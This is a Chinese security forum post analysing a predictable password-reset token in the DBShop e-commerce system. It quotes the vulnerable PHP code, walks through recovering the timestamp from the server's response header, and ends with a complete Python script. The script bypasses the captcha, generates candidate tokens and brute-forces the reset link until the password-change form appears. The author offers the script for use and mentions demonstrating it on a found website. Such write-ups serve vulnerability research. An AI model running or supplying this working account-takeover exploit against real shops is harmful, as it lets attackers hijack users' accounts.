用户
搜索
  • TA的每日心情

    2019-1-19 17:01
  • 签到天数: 165 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    Ashe

    Rank: 7Rank: 7Rank: 7

    17

    主题

    183

    帖子

    2463

    魔法币
    收听
    1
    粉丝
    2
    注册时间
    2016-11-9

    i春秋签约作者春秋游侠春秋文阁

    发表于 2019-2-17 17:59:44 57774

    0x00 前言

    年也过的差不多了,各自也都回到岗位忙碌起来了,新的一年祝大家诸事顺利,洞洞高危!好了进入正题。

    0x01 漏洞简介

    本次主要写个简单的逻辑漏洞!然后抛个Message 内置高危。
    1、找回密码token爆破

    0x02 漏洞分析

    漏洞文件:DBShop\module\Shopfront\src\Shopfront\Controller\UserController.php
    漏洞函数:forgotpasswdAction

    public function forgotpasswdAction ()
    {
        if($this->getServiceLocator()->get('frontHelper')->getUserSession('user_id') != '')
            return $this->redirect()->toRoute('fronthome/default');
    
        $array = array();
        if($this->request->isPost()) {
            $postArray = $this->request->getPost()->toArray();
            $userInfo  = $this->getDbshopTable('UserTable')->infoUser(array('user_name'=>$postArray['user_name'], 'user_email'=>$postArray['user_email']));
            if(isset($userInfo->user_name) and $userInfo->user_name != '') {
                //生成唯一码及url
                $editCode    = md5($userInfo->user_name . $userInfo->user_email) . md5(time());
                $editUrl     = $this->getServiceLocator()->get('frontHelper')->dbshopHttpOrHttps() . $this->getServiceLocator()->get('frontHelper')->dbshopHttpHost() . $this->url()->fromRoute('frontuser/default', array('action'=>'forgotpasswdedit')) . '?editcode=' . $editCode;
                //发送的邮件内容
                $forgotEmail = array(
                    'send_user_name'=> $userInfo->user_name,
                    'send_mail'     => $userInfo->user_email,
                    'subject'       => $this->getServiceLocator()->get('frontHelper')->websiteInfo('shop_name') . $this->getDbshopLang()->translate('会员密码修改'),
                    'body'          => $this->getDbshopLang()->translate('亲爱的') . $userInfo->user_name . '<br>' . $this->getDbshopLang()->translate('您好,请点击下面的链接进行密码修改') . '<a href="'.$editUrl.'" target="_blank">'
                            . $this->getDbshopLang()->translate('点击修改密码 ') . '</a><br>' . $this->getDbshopLang()->translate('如果您无法点击修改链接,请复制下面的链接地址在浏览器中打开,完成密码修改 ') . '<br>' . $editUrl
                );
                try {
                    $this->getServiceLocator()->get('shop_send_mail')->toSendMail($forgotEmail);
                    $this->getDbshopTable('UserTable')->updateUser(array('user_forgot_passwd_code'=>$editCode),array('user_id'=>$userInfo->user_id));
                    $array['message'] = sprintf($this->getDbshopLang()->translate('已经向您的邮箱 %s 发送了一封邮件,请根据邮件内容完成新密码设定'), '<font color="red">' . $userInfo->user_email . '</font>');
                } catch (\Exception $e) {
                    $array['message'] = $this->getDbshopLang()->translate('无法向您的邮箱发送邮件,请联系管理员处理!');
                }
            } else {
                $array['message'] = $this->getDbshopLang()->translate('您输入的信息错误,没有匹配的会员信息!') . ' ' . $this->getDbshopLang()->translate('请重新输入') . '<a href="'.$this->url()->fromRoute('frontuser/default', array('action'=>'forgotpasswd')).'">' . $this->getDbshopLang()->translate('返回') . '</a>';
            }
        }
    
        return $array;
    }

    这个就是找回密码的功能点,起初我看了下前端有校验验证码,然而不是在这个函数里面,可绕过。

    这代码写的挺简陋的接受用户传入的post数据并赋值给$postArray数组,然后查询user_name和user_email存在则直接发送一个找回密码的token到用户邮箱。

    看一下生成token的过程
    $editCode  = md5($userInfo->user_name . $userInfo->user_email) . md5(time());
    非常简单的加密方式无非一个time()。举个例子也就是md5(test112test112@qq.com).md5(1550392236)。可爆破

    0x03 漏洞演示

    url:http://127.0.0.20/user/forgotpasswd

    发送一个重置密码链接到用户邮箱,我们可以手工去爆破!
    Response 返回包这里有响应时间
    Date: Sun, 17 Feb 2019 09:22:24 GMT
    然而令我懵逼的是为什么是09而不是17,不过我们直接把09换成当前的时间就ok了,经测试分和秒都是正确的。这里我在代码处加了var_dump调试,可以看到正确的时间戳和token
    在线时间戳转换工具:https://tool.lu/timestamp/

    1550395544这个是调试出来的时间戳,和我们推出来的完全相同,就算不同也绝不会有太大的误差,当然还是要根据自己网络情况来判断。
    在线php代码调试:
    http://www.dooccn.com/php/#id/9c4b55cf81232b9702f0f0baa6490846

    这个是我们自己生成的
    b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed
    原token
    b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed
    爆破成功。访问重置密码链接:
    http://127.0.0.20/user/forgotpasswdedit?editcode=b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

    整个步骤完成,这个是我在本地环境演示的,当然遇到实际情况可能时间戳误差就会比较大。So写了一个脚本测试。

    0x04 爆破脚本

    代码写的比较Low,将就着用。

    #coding: gbk
    import requests
    import time
    import hashlib
    
    class DbshopBlastCode(object):
    
        def __init__(self,user,email,url):
            self.user=user
            self.email=email
            self.url=url
            self.head={
                "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
                "Content-Type": "application/x-www-form-urlencoded",
                "Referer": "{0}/user/forgotpasswd".format(self.url),
                "Cookie": "PHPSESSID=ebiu1g0obrlf6m9i8cs1ep9bd0",
                "Upgrade-Insecure-Requests": "1"
            }
            self.request=requests.session()
            self.send()
    
        def buildExp(self):
            timeList=[i for i in range(self.nowTime-100,self.nowTime+10)]
            timeList.reverse()
            md5List=[]
            b = hashlib.md5()
            b.update(self.user+self.email)
            uMd5=b.hexdigest()
            for i in timeList:
                m = hashlib.md5()
                m.update(str(i))
                md5List.append(uMd5+m.hexdigest())
            self.md5List=md5List
            print(self.md5List)
            self.fuzz()
    
        def send(self):
            vailUrl="{0}/user/forgotpasswd".format(self.url)
            vailData="user_name={0}&user_email={1}&captcha_code=111".format(self.user,self.email)
            try:
                result=self.request.post(vailUrl,data=vailData,headers=self.head)
                if '<font color="red">'+self.email+'</font>' in result.content:
                    self.nowTime=int(time.time())
                    print('ok')
                    self.buildExp()
                else:
                    print('Url error http://hostname/. Url format is http://hostname ')
                    print('false')
            except Exception as e:
                print(e)
    
        def fuzz(self):
            for i in self.md5List:
                url = "{0}/user/forgotpasswdedit?editcode={1}".format(self.url,i)
                try:
                    result=self.request.get(url)
                    if 'input type="password" id="user_com_passwd" class="span3" name="user_com_passwd" placeho' in result.content:
                        print(url)
                        return
                except Exception as e:
                    print(e,'fuzz')
                    return
    
    DbshopBlastCode('test112','test112@qq.com','http://127.0.0.20')

    这里http://127.0.0.20 末尾不能加/不然会导致路由错误(404文件不存在)

    这里我找了个网站做个演示:

    0x05 结束

    谢幕!

    本帖被以下淘专辑推荐:

    用代码将梦想照进现实!
    不错,学习了。
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    很不错 很值得学习 感谢作者 也感谢i春秋这个平台
    使用道具 举报 回复
    发表于 2019-2-17 22:31:13
    手机用户hEgSOg 发表于 2019-2-17 12:59
    很不错 很值得学习 感谢作者 也感谢i春秋这个平台

    互相学习!
    用代码将梦想照进现实!
    使用道具 举报 回复
    发表于 2019-2-17 22:31:20

    互相学习!
    用代码将梦想照进现实!
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册